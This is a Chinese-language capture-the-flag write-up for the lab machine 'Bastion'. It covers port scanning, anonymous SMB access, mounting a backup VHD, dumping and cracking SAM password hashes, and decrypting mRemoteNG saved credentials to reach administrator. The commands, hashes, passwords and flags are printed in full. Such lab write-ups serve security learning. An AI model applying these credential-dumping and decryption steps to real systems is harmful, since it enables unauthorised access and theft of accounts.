[Meachines] [Easy] Bastion SMB未授权访问+VHD虚拟硬盘挂载+注册表获取NTLM哈希+mRemoteNG远程管理工具权限提升

信息收集

IP Address	Opening Ports
10.10.10.134	TCP:22, 135, 139, 445, 5985, 47001, 49664, 49665, 49666, 49667, 49668, 49669, 49670

$ nmap -p- 10.10.10.134 --min-rate 1000 -sC -sV

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

挂载 SMB

$ smbmap -H 10.10.10.134 -u aaaa

$ smbclient -N //10.10.10.134/backups

smb: \> get note.txt

系统管理员：请不要将整个备份文件传输到本地，子公司办公室的 VPN 连接速度太慢

挂载 VHD虚拟硬盘

VHD（Virtual Hard Disk）是一种虚拟化技术中使用的磁盘镜像格式。它允许将虚拟磁盘（如硬盘）封装在一个文件中，使得虚拟机或虚拟环境可以使用这些虚拟磁盘，就像使用真实的硬盘一样。

将网络共享（通常是 SMB/CIFS 共享）挂载到本地目录

$ sudo mkdir /mnt/10.10.10.134-User

$ sudo mount -t cifs //10.10.10.134/backups /mnt/10.10.10.134-User -o user=,password=

$ sudo apt install multipath-tools

$ sudo apt install qemu-utils

加载 nbd 模块

$ sudo modprobe nbd max_part=8

使用 qemu-nbd 连接 VHD 文件到 nbd 设备：

$ sudo qemu-nbd -c /dev/nbd0 /mnt/10.10.10.134-User/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd

使用 kpartx 映射分区

$ sudo kpartx -a /dev/nbd0

挂载分区

$ sudo mount /dev/mapper/nbd0p1 /mnt/10.10.10.134-VHD

注册表获取NTLM哈希

存储注册表配置单元的config目录中，使用secretsdump转储密码哈希：

$ cd /mnt/10.10.10.134-VHD/Windows/System32/config

$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e4487d0421e6611a364a5028467e053c:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

https://crackstation.net/

password:bureaulampje

SSH

username:l4mpje
password:bureaulampje

$ ssh l4mpje@10.10.10.134

User.txt

4b338f88063b1c7c9f642632a0f29310

mRemoteNG 远程管理工具权限提升

mRemoteNG 是一个开源的远程连接管理工具，用于集中管理和访问多种远程连接类型。它提供了一个统一的界面，允许用户管理和连接到不同的远程主机和服务，支持多种远程协议和连接方式。mRemoteNG 是 mRemote 的一个分支，增加了更多的功能和改进。

l4mpje@BASTION C:\Program Files (x86)\mRemoteNG>cd c:\\users\l4mpje\AppData\Roaming\mRemoteNG\

l4mpje@BASTION c:\Users\L4mpje\AppData\Roaming\mRemoteNG>type confCons.xml

在 confCons.xml 文件中存放密码通常是因为它被用来配置和保存某些连接设置或认证信息。具体到 mRemoteNG 或类似的远程管理工具中。

$ wget https://github.com/kmahyyg/mremoteng-decrypt/releases/download/v1/decipher_mremoteng.jar

$ java -jar decipher_mremoteng.jar V22XaC5eW4epRxRgXEM5RjuQe2UNrHaZSGMUenOvA1Cit/z3v1fUfZmGMglsiaICSus+bOwJQ/4AnYAt2AeE8g==

thXLHM96BeKL0ER2

$ ssh administrator@10.10.10.134

Root.txt

7d01278878dcf2f509e263c5549e460c